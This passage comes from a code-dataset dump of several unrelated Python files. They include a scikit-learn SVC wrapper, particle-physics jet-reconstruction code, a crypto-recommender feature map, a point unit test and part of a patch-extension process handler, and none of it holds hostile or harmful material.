GridSearchCV\n\n\nclass SVCModeller:\n\n \"\"\"Class for implementing Logistic Regression model and scorer\"\"\"\n\n def __init__(self, mode, random_state):\n if mode not in ['binary']:\n sys.exit('Exiting. SVC not supported for mode ' + mode)\n self.model = SVC(random_state=random_state)\n\n def refit(self, X, y, params):\n\n \"\"\"\n Fits model with best parameters and returns a dict containing:\n predicted probabilities\n \"\"\"\n self.params = params\n self.params['probability'] = True\n self.model.set_params(**self.params)\n self.model.fit(X, y)\n output = {}\n output['y_prob'] = self.model.predict_proba(X)[:, 1]\n return output\n","repo_name":"genomicdatascience/psopredict","sub_path":"svcmodeller.py","file_name":"svcmodeller.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7832325865","text":"from sys import path\nimport tally\npath.append(\"../custom\")\nfrom custmodule import suml, prodl\n\nprint('Running', __name__)\nzeros = [i for i in range(1, 6)]\nones = [i for i in range(1, 10)]\nprint(suml(zeros))\nprint(prodl(ones))\n\nfor p in path:\n print(p)\n\n\n\n","repo_name":"peermohameds/python-learning","sub_path":"Level-4/Modules/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3955043418","text":"\"\"\"\nGiven an array `nums` of integers, return how many of them contain\nand even number of digits.\n\"\"\"\nfrom timeit import timeit\n\n\nclass Solution:\n\n def __init__(self, nums: list):\n self.nums = nums\n\n def even_number_digits(self):\n even_digit_cnt = 0\n for n in self.nums:\n if len(str(n)) % 2 == 0:\n even_digit_cnt += 1\n return even_digit_cnt\n\n # def even_number_digits_fast(self):\n # return sum([True for n in self.nums if len(str(n)) % 2 == 0])\n\n def time_func(self, quick=0):\n time = timeit(lambda: self.even_number_digits())\n print(f'The function even number of digits took {time} seconds')\n\n\nnumbers = [12, 345, 2, 6, 7896]\nexample = Solution(numbers)\nexample.time_func()\nprint(example.even_number_digits())\n\n\n\n","repo_name":"jtracy3/daily-coding-problems","sub_path":"find_numbers_with_even_number_of_digits.py","file_name":"find_numbers_with_even_number_of_digits.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41913181496","text":"import logging\nfrom pathlib import Path\nimport pandas as pd\nimport numpy as np\nfrom copy import deepcopy\n\nfrom alpaca.core import BaseMain\nfrom alpaca.batch import BatchManager\n\nlog = logging.getLogger(__name__)\n\ndef register_cli(subparser,parentparser):\n\n analysis_name = '2hdm'\n analysis_defaults = {\n \"Main\" : Main2HDM, #no quotes, pointer to the class\n \"extras\" : 3,\n \"outputs\" : \"n,n,n,n\",\n \"jets\" : 7,\n \"zero_jets\" : 2,\n \"categories\" : \"ISR,lep0,lep1,had0\",\n \"extra_jet_fields\" : ['dl1r'],\n \"scalars\" : [\"n_jet\",\"n_bjet\"],\n \"shuffle_events\": True,\n }\n\n # Create your own sub-command and add arguments\n parser = subparser.add_parser(analysis_name, parents=[parentparser],\n help='Flavourful 2HDM sub-command.')\n parser.add_argument('--not-all-partons', action='store_true')\n parser.add_argument('--add-reco-mass', action='store_true')\n parser.add_argument('--from-S-labels', action='store_true')\n parser.add_argument('--tq-cat', action='store_true')\n\n\n return analysis_name, analysis_defaults\n\n\nclass Main2HDM(BaseMain):\n\n def __init__(self, args):\n super().__init__(args)\n self.bm = BatchManager2HDM(args)\n\n def plots(self):\n log.warning(\"No plots for Main2HDM\")\n\nclass BatchManager2HDM(BatchManager):\n\n @staticmethod\n def get_objects(df, args, **kwargs):\n\n # Get the number of jets per event in the input file by inspecting the\n # second level index of one of the columns\n tot_jets_per_event = len(df['jet_e'].columns.get_level_values('subentry'))\n jets_per_event = args.jets\n zero_jets = args.zero_jets\n \n if (jets_per_event - zero_jets) > tot_jets_per_event:\n log.warning(\n 'You are asking for %s jets, but only %s are available',\n jets_per_event - zero_jets,\n tot_jets_per_event\n )\n \n \n # Select only those events in which\n # - a top jet is not going to be cut, by checking that among the\n # remaining jets after the Nth there aren't any (note the minus sign)\n # - the leading jets are all existent\n leadingNarenonzero = df[[(\"jet_e\", i) for i in range(jets_per_event - zero_jets)]].all(axis=1) #complicated cut on at least N jets\n df = df[leadingNarenonzero]\n\n \n # The input rows have all jet px, all jet py, ... all jet partonindex\n # So segment and swap axes to group by jet\n #jet_vars = ['jet_pt','jet_eta','jet_phi','jet_e','jet_dl1r','jet_partonindex']\n #rest_vars = ['lep0_pt','lep0_eta', 'lep0_phi','lep0_e','lep1_pt','lep1_eta', 'lep1_phi','lep1_e','met','met_phi']\n jet_vars = ['jet_px','jet_py','jet_pz','jet_e']\n possible_extras = [ 'dl1r']\n unused_info = set(args.extra_jet_fields)\n for extra in possible_extras:\n if extra in args.extra_jet_fields:\n unused_info.remove(extra)\n jet_vars.append('jet_'+extra)\n if len(unused_info):\n log.warning('Some of the extra jet information could not be added %r'%unused_info)\n\n jet_vars.append('jet_partonindex')\n jet_vars.append('jet_particleTruthOrigin')\n rest_vars = ['lep0_px','lep0_py', 'lep0_pz','lep0_e','lep1_px','lep1_py', 'lep1_pz','lep1_e','met_px','met_py','met_pz','met_e']\n maxjets = 8\n #assert len(jet_vars)*2==len(rest_vars) #I'm abusing two leading slots for lep+met\n jet_df = df[jet_vars]\n rest_df = df[rest_vars].droplevel(1,axis=1)\n rest_df = rest_df.loc[:,~rest_df.columns.duplicated()]\n\n\n \n jet_stack = np.swapaxes(jet_df.values.reshape(len(df), len(jet_vars), maxjets), 1, 2)\n tmpjet_stack = jet_stack[:, :7, :]\n jet_stack = jet_stack[:, :jets_per_event, :]\n #rest_stack = np.swapaxes(rest_df.values.reshape(len(df), len(jet_vars), 2), 1, 2)\n rest_stack = rest_df.values\n\n # The rest of this method is about parsing the partonindex labels to\n # to derive the truth labels that can be used by the NN.\n # At the end there is also additional sanitisation of the input files\n # which removes some events.\n jetsize = 4+len(args.extra_jet_fields)\n jets = jet_stack[:, :, :jetsize] #drop parton index, keep 4-vector + bjet\n tmpjets = tmpjet_stack[:, :, :jetsize] #drop parton index, keep 4-vector + bjet\n\n labels = np.array(jet_stack[:, :, -2].squeeze(), dtype=int) #only parton index\n fromSlabels = np.array(jet_stack[:, :, -1].squeeze(), dtype=int) == 15 #only parton index\n mask1 = labels==0\n mask2 = fromSlabels==True\n labels[mask1 & mask2] = 6 #q from tq events\n\n lep0 = rest_stack[:,:4]\n lep1 = rest_stack[:,4:8]\n met = rest_stack[:,8:]\n if jetsize == 4:\n pass\n elif jetsize == 5:\n #Fill the btag info for lep+MET outside the DL1r range\n lep0 = np.concatenate([lep0,np.full([len(lep0),1], -7)],axis=1)\n lep1 = np.concatenate([lep1,np.full([len(lep1),1], -7)],axis=1)\n met = np.concatenate([met, np.full([len(met) ,1], -7)],axis=1)\n else:\n log.error(\"Weird jet size (%d, %r), this will crash\"%(jetsize,args.extra_jet_fields))\n raise WtfIsThis\n \n def myjetlabels(labels):\n myisr = [np.logical_and(j!=0,j!=6) for j in labels]\n myfromlep0 = [j==1 for j in labels]\n myfromlep1 = [j==2 for j in labels]\n myfromhad0 = [j==3 for j in labels]\n return np.concatenate([myisr,myfromlep0,myfromlep1,myfromhad0],axis=1)\n def myjetlabels_tq(labels):\n myisr = [j!=0 for j in labels]\n myfromlep0 = [j==1 for j in labels]\n myfromlep1 = [j==2 for j in labels]\n myfromhad0 = [j==3 for j in labels]\n mytq = [j==6 for j in labels]\n return np.concatenate([myisr,myfromlep0,myfromlep1,myfromhad0,mytq],axis=1)\n\n\n lep_met = np.stack([lep0,lep1,met],axis=1)\n\n if args.from_S_labels:\n labels = fromSlabels\n elif args.tq_cat:\n print(labels)\n print(fromSlabels)\n labels = myjetlabels_tq(labels)\n else:\n labels = myjetlabels(labels)\n\n def good_labels(r,all_partons_included):\n if not all_partons_included: return True\n \n njets = jet_stack.shape[1]\n return (r[:njets].sum() == 5) and \\\n (r[njets:njets*2].sum() == 1) and \\\n (r[njets*2:njets*3].sum() == 1) and \\\n (r[njets*3:].sum() == 3)\n\n lep_met_clean = np.array([r for r,t in zip(lep_met,labels) if good_labels(t,not args.not_all_partons)])\n jets_clean = np.array([r for r,t in zip(jets,labels) if good_labels(t,not args.not_all_partons)])\n tmpjets_clean = np.array([r for r,t in zip(tmpjets,labels) if good_labels(t,not args.not_all_partons)])\n labels_clean = np.array([r for r in labels if good_labels(r,not args.not_all_partons)])\n\n if args.add_reco_mass:\n\n fakeargs = deepcopy(args)\n fakeargs.add_reco_mass = False\n fakeargs.normalize_scores = False\n fakeargs.normalize_scores_ISR = False\n fakeargs.jets = 7\n fakeargs.extras = 3\n fakeargs.scalars = [\"n_jet\",\"n_bjet\"]\n fakeargs.input_files = [args.current[0]]\n fakeargs.input_categories = [args.current[1]]\n bm = BatchManager2HDM(fakeargs,**kwargs)\n param_file = '/Users/JMontejo/Documents/Physics/Machine_learning/alpaca/run_matchS/data/alpaca_MSX_bis/NN.pt'\n import torch\n model = torch.load(param_file)\n model.eval()\n test_torch_batch = bm.get_torch_batch(len(labels))\n X,Y = test_torch_batch[0], test_torch_batch[1]\n mass_list=[]\n\n fakeargs.mass_reco_choice=0\n fakeargs.jet_assign_choice=4\n from torch.utils.data import DataLoader\n for i, batch in enumerate(DataLoader(X, batch_size=500)):\n P = model(batch)\n P = P.data.numpy()\n jets_lep_met = batch[:,:50].reshape(-1,10,5).data.numpy() #drop the scalars\n\n mask1 = np.abs(jets_lep_met[:, 0, 3] - 1.13049576e+05) < 1\n mask2 = jets_lep_met[:, 8, 3] == 0 \n mask = mask1 & mask2\n if np.any(mask):\n print(\"Will evaluate model\")\n print(jets_lep_met[mask])\n print(batch[mask])\n print(P[mask])\n\n mass, perfect = do_reco(fakeargs, jets_lep_met*1e-3, P[:,:fakeargs.jets], P[:,fakeargs.jets:fakeargs.jets*2], P[:,fakeargs.jets*2:fakeargs.jets*3], P[:,fakeargs.jets*3:])\n mass_list.append(mass)\n mass = np.concatenate(mass_list, axis=0)\n\n print(\"X\",X[:2])\n print(mass[:2])\n\n if args.scalars:\n print(\"lep_met_clean\",lep_met_clean[:2])\n if args.add_reco_mass:\n print(mass[:2])\n df[\"reco_mass\"] = mass\n scalar_df = df[args.scalars].droplevel(1,axis=1)\n scalar_df = scalar_df.loc[:,~scalar_df.columns.duplicated()]\n\n scalar_stack = scalar_df.values\n scalars_clean = np.array([r for r,t in zip(scalar_stack,labels) if good_labels(t,not args.not_all_partons)])\n\n else:\n scalars_clean = None\n\n if args.extras == 0:\n lep_met_clean = None\n if args.jets == 0:\n jets_clean = None\n\n return jets_clean, lep_met_clean, scalars_clean, labels_clean, None\n\n\ndef minv(a):\n return np.sqrt(np.maximum(np.zeros(len(a)),a[:,3]**2 - a[:,2]**2 - a[:,1]**2 - a[:,0]**2))\ndef pt(a):\n return np.sqrt(a[:,1]**2 + a[:,0]**2)\n\ndef do_reco(args, \n jets,\n ISR_pred_score, \n lep0_pred_score,\n lep1_pred_score,\n had0_pred_score,\n ISR_truth=None, \n lep0_truth=None,\n lep1_truth=None,\n had0_truth=None):\n\n\n ISR_pred_score = np.ones_like(ISR_pred_score) - ISR_pred_score\n\n nevents = len(jets)\n\n if args.normalize_scores:\n sum_score = had0_pred_score+lep0_pred_score+lep1_pred_score\n elif args.normalize_scores_ISR:\n sum_score = had0_pred_score+lep0_pred_score+lep1_pred_score+ISR_pred_score\n else:\n sum_score = 1\n had0_pred_score /= sum_score\n lep0_pred_score /= sum_score\n lep1_pred_score /= sum_score\n ISR_pred_score /= sum_score\n \n #Some events will have zero leptonic tops, need to FIXME\n lep0_choice = (lep0_pred_score.max(axis=1,keepdims=1) == lep0_pred_score) & (lep0_pred_score > ISR_pred_score) & (lep0_pred_score > had0_pred_score) & (lep0_pred_score > lep1_pred_score)\n lep1_choice = (lep1_pred_score.max(axis=1,keepdims=1) == lep1_pred_score) & (lep1_pred_score > ISR_pred_score) & (lep1_pred_score > had0_pred_score) & (lep1_pred_score > lep0_pred_score)\n had0_choice = np.zeros_like(had0_pred_score, dtype=bool)\n \n #print ((lep0_choice | lep1_choice).shape)\n #print(had0_pred_score.shape)\n #print(had0_pred_score)\n had0_pred_score[lep0_choice] = 0\n had0_pred_score[lep1_choice] = 0\n #print(had0_pred_score)\n\n if args.jet_assign_choice == 0: #category with max value\n had0_choice = (had0_pred_score > ISR_pred_score) & (had0_pred_score > lep0_pred_score) & (had0_pred_score > lep1_pred_score)\n elif args.jet_assign_choice == 1: #max 3 had tops\n _had0_pred_score = np.array(had0_pred_score) # temp var to modify\n usenjet = 3\n for i in range(usenjet):\n # choose the highest scoring jet\n had0_choice[np.arange(nevents), _had0_pred_score.argmax(1)] = True\n # set the score to 0 to ignore it in the next iteration\n _had0_pred_score[np.arange(nevents), _had0_pred_score.argmax(1)] = 0\n had0_choice = had0_choice & (had0_pred_score > ISR_pred_score) & (had0_pred_score > lep0_pred_score) & (had0_pred_score > lep1_pred_score)\n elif args.jet_assign_choice == 2: #at least 1 lep 2 had tops\n njets = lep0_pred_score.shape[1]\n mask = np.repeat(lep0_pred_score.max(axis=1,keepdims=True) > lep1_pred_score.max(axis=1,keepdims=True),njets,axis=1)\n #event = 3\n #print(lep0_pred_score[event])\n #print(lep1_pred_score[event])\n #print(mask[event])\n #print(lep0_choice[event])\n #print(lep1_choice[event])\n lep0_choice = lep0_choice | ((lep0_pred_score.max(axis=1,keepdims=1) == lep0_pred_score)) & mask\n lep1_choice = lep1_choice | ((lep1_pred_score.max(axis=1,keepdims=1) == lep1_pred_score)) & (~mask)\n #mass = np.where(pt(reco0) > pt(reco1), minv(reco0), minv(reco1))\n had0_pred_score[lep0_choice] = 0\n had0_pred_score[lep1_choice] = 0\n _had0_pred_score = np.array(had0_pred_score)\n usenjet = 2\n for i in range(usenjet):\n had0_choice[np.arange(nevents), _had0_pred_score.argmax(1)] = True\n _had0_pred_score[np.arange(nevents), _had0_pred_score.argmax(1)] = 0\n had0_choice = had0_choice | (had0_pred_score > ISR_pred_score) & (had0_pred_score > lep0_pred_score) & (had0_pred_score > lep1_pred_score)\n elif args.jet_assign_choice == 3: #at least 2 lep 2 had tops\n lep0_choice[np.arange(nevents), lep0_pred_score.argmax(1)] = True\n lep1_choice[np.arange(nevents), lep1_pred_score.argmax(1)] = True\n had0_pred_score[lep0_choice] = 0\n had0_pred_score[lep1_choice] = 0\n _had0_pred_score = np.array(had0_pred_score)\n usenjet = 2\n for i in range(usenjet):\n had0_choice[np.arange(nevents), _had0_pred_score.argmax(1)] = True\n _had0_pred_score[np.arange(nevents), _had0_pred_score.argmax(1)] = 0\n had0_choice = had0_choice | (had0_pred_score > ISR_pred_score) & (had0_pred_score > lep0_pred_score) & (had0_pred_score > lep1_pred_score)\n elif args.jet_assign_choice == 4: #exactly 2 lep 3 had tops\n lep0_choice[np.arange(nevents), lep0_pred_score.argmax(1)] = True\n lep1_choice[np.arange(nevents), lep1_pred_score.argmax(1)] = True\n had0_pred_score[lep0_choice] = 0\n had0_pred_score[lep1_choice] = 0\n _had0_pred_score = np.array(had0_pred_score)\n usenjet = 3\n for i in range(usenjet):\n had0_choice[np.arange(nevents), _had0_pred_score.argmax(1)] = True\n _had0_pred_score[np.arange(nevents), _had0_pred_score.argmax(1)] = 0\n\n choice0 = np.concatenate([np.tile([1,0,0],(len(had0_choice),1)), had0_choice | lep0_choice], axis=1)\n choice1 = np.concatenate([np.tile([0,1,0],(len(had0_choice),1)), had0_choice | lep1_choice], axis=1)\n\n #print(\"On average lep0 jets:\",lep0_choice.sum(1).mean())\n #print(\"On average lep1 jets:\",lep1_choice.sum(1).mean())\n #print(\"On average had0 jets:\",had0_choice.sum(1).mean())\n\n if had0_truth is not None:\n perfect = np.logical_xor(had0_truth, had0_choice) | np.logical_xor(lep0_truth, lep0_choice) | np.logical_xor(lep1_truth, lep1_choice)\n perfect = perfect.sum(1)==0\n #print(\"Perfect fraction\",perfect.mean())\n else:\n perfect = None\n\n jets_choice0 = np.copy(jets)\n jets_choice1 = np.copy(jets)\n jets_choice0[~choice0.astype(np.bool)] = 0\n jets_choice1[~choice1.astype(np.bool)] = 0\n reco0 = jets_choice0.sum(1)\n reco1 = jets_choice1.sum(1)\n\n if args.mass_reco_choice == 0: #min mass\n mass = np.where(minv(reco0) < minv(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 1: #max mass\n mass = np.where(minv(reco0) > minv(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 2: #min pt mass\n mass = np.where(pt(reco0) < pt(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 3: #max pt mass\n mass = np.where(pt(reco0) > pt(reco1), minv(reco0), minv(reco1))\n\n mask1 = np.abs(jets[:, 0, 3] - 1.13049576e+02) < 1e-3\n mask2 = jets[:, 8, 3] == 0 \n mask = mask1 & mask2\n if np.any(mask):\n print(\"Will evaluate do_reco\")\n print(jets[mask])\n print(ISR_pred_score[mask])\n print(lep0_pred_score[mask])\n print(lep1_pred_score[mask])\n print(had0_pred_score[mask])\n print(mass[mask])\n\n return mass, perfect\n\ndef do_reco_ttq(args, \n jets,\n ISR_pred_score, \n lep0_pred_score,\n lep1_pred_score,\n had0_pred_score,\n tq_pred_score,\n ISR_truth=None, \n lep0_truth=None,\n lep1_truth=None,\n had0_truth=None,\n tq_truth=None):\n\n\n ISR_pred_score = np.ones_like(ISR_pred_score) - ISR_pred_score\n\n nevents = len(jets)\n\n if args.normalize_scores:\n sum_score = had0_pred_score+lep0_pred_score+lep1_pred_score+tq_pred_score\n elif args.normalize_scores_ISR:\n sum_score = had0_pred_score+lep0_pred_score+lep1_pred_score+tq_pred_score+ISR_pred_score\n else:\n sum_score = 1\n had0_pred_score /= sum_score\n lep0_pred_score /= sum_score\n lep1_pred_score /= sum_score\n tq_pred_score /= sum_score\n ISR_pred_score /= sum_score\n\n\n print(ISR_pred_score[:3])\n print(lep0_pred_score[:3])\n print(lep1_pred_score[:3])\n print(had0_pred_score[:3])\n print(tq_pred_score[:3])\n \n #Some events will have zero leptonic tops, need to FIXME\n lep0_choice = (lep0_pred_score.max(axis=1,keepdims=1) == lep0_pred_score) & (lep0_pred_score > ISR_pred_score) & (lep0_pred_score > had0_pred_score) & (lep0_pred_score > lep1_pred_score) & (lep0_pred_score > tq_pred_score)\n lep1_choice = (lep1_pred_score.max(axis=1,keepdims=1) == lep1_pred_score) & (lep1_pred_score > ISR_pred_score) & (lep1_pred_score > had0_pred_score) & (lep1_pred_score > lep0_pred_score) & (lep1_pred_score > tq_pred_score)\n tq_choice = (tq_pred_score.max(axis=1,keepdims=1) == tq_pred_score) & (tq_pred_score > ISR_pred_score) & (tq_pred_score > had0_pred_score) & (tq_pred_score > lep0_pred_score) & (tq_pred_score > lep1_pred_score)\n #Some events will have zero leptonic tops, need to FIXME\n #lep0_choice = (lep0_pred_score.max(axis=1,keepdims=1) == lep0_pred_score) & (lep0_pred_score > had0_pred_score) & (lep0_pred_score > lep1_pred_score) & (lep0_pred_score > tq_pred_score)\n #lep1_choice = (lep1_pred_score.max(axis=1,keepdims=1) == lep1_pred_score) & (lep1_pred_score > had0_pred_score) & (lep1_pred_score > lep0_pred_score) & (lep1_pred_score > tq_pred_score)\n #tq_choice = (tq_pred_score.max(axis=1,keepdims=1) == tq_pred_score) & (tq_pred_score > had0_pred_score) & (tq_pred_score > lep0_pred_score) & (tq_pred_score > lep1_pred_score)\n\n #print ((lep0_choice | lep1_choice).shape)\n #print(had0_pred_score.shape)\n #print(had0_pred_score)\n had0_pred_score[lep0_choice] = 0\n had0_pred_score[lep1_choice] = 0\n had0_pred_score[tq_choice] = 0\n #print(had0_pred_score)\n\n print(lep0_choice[:3])\n print(lep1_choice[:3])\n print(tq_choice[:3])\n tq_choice[tq_choice.sum(1)==0,np.argmax(had0_pred_score>0)] = 1 #take leading non-assigned for those without a choice\n print(tq_choice[:3])\n\n print(ISR_truth[:3])\n print(lep0_truth[:3])\n print(lep1_truth[:3])\n print(had0_truth[:3])\n print(tq_truth[:3])\n\n choice0 = np.concatenate([np.tile([1,0,0],(len(tq_choice),1)), tq_choice | lep0_choice], axis=1)\n choice1 = np.concatenate([np.tile([0,1,0],(len(tq_choice),1)), tq_choice | lep1_choice], axis=1)\n\n #print(\"On average lep0 jets:\",lep0_choice.sum(1).mean())\n #print(\"On average lep1 jets:\",lep1_choice.sum(1).mean())\n #print(\"On average had0 jets:\",had0_choice.sum(1).mean())\n\n\n if had0_truth is not None:\n perfect = np.logical_xor(tq_truth, tq_choice) | np.logical_xor(lep0_truth, lep0_choice) | np.logical_xor(lep1_truth, lep1_choice)\n perfect = perfect.sum(1)==0\n else:\n perfect = None\n\n jets_choice0 = np.copy(jets)\n jets_choice1 = np.copy(jets)\n jets_choice0[~choice0.astype(np.bool)] = 0\n jets_choice1[~choice1.astype(np.bool)] = 0\n reco0 = jets_choice0.sum(1)\n reco1 = jets_choice1.sum(1)\n\n if args.mass_reco_choice == 0: #min mass\n mass = np.where(minv(reco0) < minv(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 1: #max mass\n mass = np.where(minv(reco0) > minv(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 2: #min pt mass\n mass = np.where(pt(reco0) < pt(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 3: #max pt mass\n mass = np.where(pt(reco0) > pt(reco1), minv(reco0), minv(reco1))\n\n return mass, perfect\n\n\n\ndef do_reco_fromS(args, \n jets,\n fromS_pred_score, \n fromS_truth=None):\n\n nevents = len(jets)\n\n \n #Some events will have zero leptonic tops, need to FIXME\n lep0_choice = (lep0_pred_score.max(axis=1,keepdims=1) == lep0_pred_score) & (lep0_pred_score > ISR_pred_score) & (lep0_pred_score > had0_pred_score) & (lep0_pred_score > lep1_pred_score)\n lep1_choice = (lep1_pred_score.max(axis=1,keepdims=1) == lep1_pred_score) & (lep1_pred_score > ISR_pred_score) & (lep1_pred_score > had0_pred_score) & (lep1_pred_score > lep0_pred_score)\n tq_choice = np.zeros_like(had0_pred_score, dtype=bool)\n \n #print ((lep0_choice | lep1_choice).shape)\n #print(had0_pred_score.shape)\n #print(had0_pred_score)\n had0_pred_score[lep0_choice] = 0\n had0_pred_score[lep1_choice] = 0\n #print(had0_pred_score)\n\n if args.jet_assign_choice == 0: #leading non-leptonic jet\n tq_choice[np.argmax(had0_pred_score>0)] = 1 #argmax returns the first in case of tie\n\n choice0 = np.concatenate([np.tile([1,0,0],(len(tq_choice),1)), tq_choice | lep0_choice], axis=1)\n choice1 = np.concatenate([np.tile([0,1,0],(len(tq_choice),1)), tq_choice | lep1_choice], axis=1)\n\n #print(\"On average lep0 jets:\",lep0_choice.sum(1).mean())\n #print(\"On average lep1 jets:\",lep1_choice.sum(1).mean())\n #print(\"On average had0 jets:\",had0_choice.sum(1).mean())\n\n\n perfect = None\n\n jets_choice0 = np.copy(jets)\n jets_choice1 = np.copy(jets)\n jets_choice0[~choice0.astype(np.bool)] = 0\n jets_choice1[~choice1.astype(np.bool)] = 0\n reco0 = jets_choice0.sum(1)\n reco1 = jets_choice1.sum(1)\n\n if args.mass_reco_choice == 0: #min mass\n mass = np.where(minv(reco0) < minv(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 1: #max mass\n mass = np.where(minv(reco0) > minv(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 2: #min pt mass\n mass = np.where(pt(reco0) < pt(reco1), minv(reco0), minv(reco1))\n elif args.mass_reco_choice == 3: #max pt mass\n mass = np.where(pt(reco0) > pt(reco1), minv(reco0), minv(reco1))\n\n return mass, perfect\n\n","repo_name":"jmontejo/alpaca","sub_path":"alpaca/analyses/g2hdm/my2hdm.py","file_name":"my2hdm.py","file_ext":"py","file_size_in_byte":22861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5305547000","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 25 14:01:24 2021\n\n@author: liang\n\"\"\"\n\n# import pandas as pd\n# df = pd.read_csv('./data/item_fea_字典表.csv')\n# fea_name = {}\n# for key, value in zip(df['字段名称'], df['英文标识']):\n# fea_name[key] = value\nfea_map = {'币种-24h涨幅': 'DAY_PRICE_CHANGE_RATE',\n '币种-24h涨幅rank': 'DAY_PRICE_CHANGE_RATE_RANK',\n '币种-一周涨幅': 'WEEK_PRICE_CHANGE_RATE',\n '币种-一周涨幅rank': 'WEEK_PRICE_CHANGE_RATE_RANK',\n '币种-24h成交额': 'DAY_VOLUME_CHANGE_RATE',\n '币种-24h成交额rank': 'DAY_VOLUME_CHANGE_RATE_RANK',\n '币种-一周成交额': 'WEEK_VOLUME_CHANGE_RATE',\n '币种-一周成交额rank': 'WEEK_VOLUME_CHANGE_RATE_RANK',\n '币种-一周搜索热度rank': 'WEEK_CMC_SEARCH_HOT_RANK',\n '币种-24h点赞量': 'CURRENCY_LIKES',\n '币种-24h点赞量排名rank': 'CURRENCY_LIKES_RANKING',\n '币种-24h点赞量排名上升': 'CURRENCY_LIKES_RANKING_RISES_24_HOUR',\n '币种-24h点赞量排名上升rank': 'CURRENCY_LIKES_RANKING_RISES_24_HOUR_RANK',\n '币种-市值': 'CURRENCY_CAP',\n '币种-市值排名rank': 'CURRENCY_CAP_RANK',\n '币种-归属概念板块': 'CURRENCY_CATEGORY',\n '组合-24h收益率': 'INVEST_PROFIT_RATE_24_HOUR',\n '组合-24h收益率rank': 'INVEST_PROFIT_RATE_24_HOUR_RANK',\n '组合-一周收益率': 'INVEST_PROFIT_RATE_1_WEEK',\n '组合-一周收益率rank': 'INVEST_PROFIT_RATE_1_WEEK_RANK',\n '组合-年化收益率': 'INVEST_PROFIT_RATE_12_MONTH',\n '组合-年化收益率rank': 'INVEST_PROFIT_RATE_12_MONTH_RANK',\n '组合-关注量': 'AVERAGE_COLLECT',\n '组合-关注量rank': 'AVERAGE_COLLECT_RANK',\n '组合-使用量': 'INVEST_PROFIT_USED',\n '组合-使用量rank': 'INVEST_PROFIT_USED_RANK',\n '概念板块-24h涨幅': 'PLATE_CAP_CHANGE_RATE_1_DAY',\n '概念板块-24h涨幅rank': 'PLATE_CAP_CHANGE_RATE_1_DAY_RANK',\n '概念板块-一周涨幅': 'PLATE_CAP_CHANGE_RATE_1_WEEK',\n '概念板块-一周涨幅rank': 'PLATE_CAP_CHANGE_RATE_1_WEEK_RANK',\n '概念板块-收藏量': 'PLAT_COLLECT',\n '概念板块-收藏量rank': 'PLAT_COLLECT_RANK',\n '榜单类型': 'RANKLIST_TYPE',\n 'item的推荐识别码': 'UUID'}\n\nfea_enum = ['币种-24h涨幅rank',\n '币种-一周涨幅rank',\n '币种-24h成交额rank',\n '币种-一周成交额rank',\n '币种-一周搜索热度rank',\n '币种-24h点赞量排名rank',\n '币种-24h点赞量排名上升rank',\n '币种-市值排名rank',\n '组合-24h收益率rank',\n '组合-一周收益率rank',\n '组合-年化收益率rank',\n '组合-关注量rank',\n '组合-使用量rank',\n '概念板块-24h涨幅rank',\n '概念板块-一周涨幅rank',\n '概念板块-收藏量rank']\n\nfea_numeric = ['币种-24h成交额',\n '组合-24h收益率',\n 'item的推荐识别码',\n '币种-24h点赞量',\n '榜单类型',\n '组合-关注量',\n '币种-24h涨幅',\n '概念板块-24h涨幅',\n '币种-一周涨幅',\n '币种-24h点赞量排名上升',\n '币种-一周成交额',\n '组合-使用量',\n '概念板块-一周涨幅',\n '币种-归属概念板块',\n '组合-一周收益率',\n '币种-市值',\n '组合-年化收益率',\n '概念板块-收藏量']\n\nfea_text = ['详情描述', '评论内容']","repo_name":"mishidemudong/simcse_item_similarity_rec","sub_path":"fea_utils.py","file_name":"fea_utils.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"21686065281","text":"import unittest\nfrom ..point import Point\n\nclass TestPoint(unittest.TestCase):\n\n def test_get_latitude(self):\n position = '37.62 55.76'\n point = Point(position)\n latitude = point.get_latitude()\n self.assertEqual(latitude, 37.62)\n\n def test_get_longitude(self):\n position = '37.62 55.76'\n point = Point(position)\n longitude = point.get_longitude()\n self.assertEqual(longitude, 55.76)\n\n def test_get_point_tuple(self):\n position = '37.62 55.76'\n point = Point(position)\n point_tuple = point.get_point_tuple()\n self.assertEqual(point_tuple, (37.62, 55.76))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"iamknownstranger/distance_finder","sub_path":"distance_finder/test/test_point.py","file_name":"test_point.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9569471442","text":"import datetime\nimport time\nfrom extension.src.Constants import Constants\n\n\nclass RuntimeContextHandler(object):\n def __init__(self, logger):\n self.logger = logger\n self.core_state_fields = Constants.CoreStateFields\n\n def terminate_processes_from_previous_operation(self, process_handler, core_state_content):\n \"\"\" Terminates all running processes from the previous request \"\"\"\n self.logger.log(\"Verifying if previous patch operation is still in progress\")\n if core_state_content is None or core_state_content.__getattribute__(self.core_state_fields.completed).lower() == 'true':\n self.logger.log(\"Previous request is complete\")\n return\n # verify if processes from prev request are running\n running_process_ids = process_handler.identify_running_processes(core_state_content.__getattribute__(self.core_state_fields.process_ids))\n if len(running_process_ids) != 0:\n for pid in running_process_ids:\n process_handler.kill_process(pid)\n\n def process_previous_patch_operation(self, core_state_handler, process_handler, prev_patch_max_end_time, core_state_content):\n \"\"\" Waits for the previous request action to complete for a specific time, terminates previous 